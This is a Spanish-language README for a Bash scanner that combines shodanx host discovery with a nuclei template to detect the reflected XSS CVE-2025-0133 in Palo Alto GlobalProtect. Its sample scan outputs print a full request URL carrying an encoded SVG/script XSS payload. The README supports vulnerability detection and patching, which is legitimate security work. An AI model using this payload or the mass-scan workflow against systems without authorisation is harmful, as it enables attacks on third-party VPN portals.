inteleon404/cve-2025-0133Se encontró una vulnerabilidad de XSS reflejado en Palo Alto GlobalProtect Gateway & Portal. Los atacantes pueden inyectar scripts maliciosos a través de solicitudes manipuladas.
Una herramienta de escaneo automatizado basada en Bash para detectar la vulnerabilidad CVE-2025-0133 de XSS Reflejado en Palo Alto GlobalProtect Gateway & Portal usando nuclei y shodanx.
Autor:
Fecha: 2025-06-23
Severidad: Media
CVE ID: CVE-2025-0133
Tipo de Vulnerabilidad: Cross-Site Scripting Reflejado (XSS)
Probado contra: Palo Alto Networks GlobalProtect Portal (PAN-OS)
Esta herramienta ayuda a los testers de penetración e investigadores de seguridad a identificar rápidamente dominios o IPs vulnerables relacionados con el problema CVE-2025-0133.
Aprovecha las plantillas de nuclei y la integración de consultas de Shodan (shodanx) para encontrar y escanear objetivos de manera eficiente.
shodanx en dominios individuales para recopilar hosts relacionadosnuclei con una plantilla personalizada CVE-2025-0133 para escanear objetivos.txt y .json$PATHCVE-2025-0133 ubicado en:/home/user/nuclei-templates/http/cves/2025/CVE-2025-0133.yaml (actualice la ruta según sea necesario)pip install git+https://github.com/RevoltSecurities/ShodanX
Si el error muestra: "error: externally-managed-environment"
pip install git+https://github.com/RevoltSecurities/ShodanX --break-system-packages
⚠️ Nota:
La opción--break-system-packageses necesaria en algunos sistemas (especialmente Debian/Ubuntu) para permitir que pip instale paquetes fuera de un entorno virtual sin errores de permisos.
👉 Asegúrate de que shodanx esté disponible en tu $PATH.
Puedes probarlo con:
shodanx -h
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
Verifica si está instalado:
nuclei -version
Luego actualiza las plantillas:
nuclei -update-templates
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh -h
Usage: ./cve20250133.sh <domain-or-file>
Scan CVE-2025-0133 vulnerabilities using nuclei and shodanx.
If input is a file, scan domains/IPs from the file.
If input is a domain, run shodanx to find related IPs/domains and scan them.
Options:
-h, --help, help Show this help message and exit.
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh domain.com
Scan Start Time: 2025-06-24 16:33:51
▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ █▌▟▖▄▌▄▌
-ＩＮＴＥＬＥＯＮ４０４
[✔] Input is a single domain: domain.com — Running ShodanX first
_ _
| | | (_\ /
, | | __ __| __, _ _ \/
/ \_|/ \ / \_/ | / | / |/ | /\
\/ | |_/\__/ \_/|_/\_/|_/ | |_/ _/ \_/
- RevoltSecurities
[version]:shodanx current version v1.1.1 (latest)
[*] Scanning domain 123.45.67.890...
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.5
projectdiscovery.io
[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 850.496188ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh file.txt
Scan Start Time: 2025-06-24 16:36:37
▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ █▌▟▖▄▌▄▌
-ＩＮＴＥＬＥＯＮ４０４
[✔] Input is a file: file.txt — Skipping ShodanX
[*] Scanning domain 123.45.67.890 ...
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.5
projectdiscovery.io
[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 28.825193ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------
Vulnerabilidad de Cross-Site Scripting (XSS) reflejado en Palo Alto GlobalProtect Gateway & Portal que permite a atacantes inyectar scripts maliciosos a través de solicitudes manipuladas.
Parchee sus sistemas actualizando a las últimas versiones de Palo Alto Networks para mitigar este problema.
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.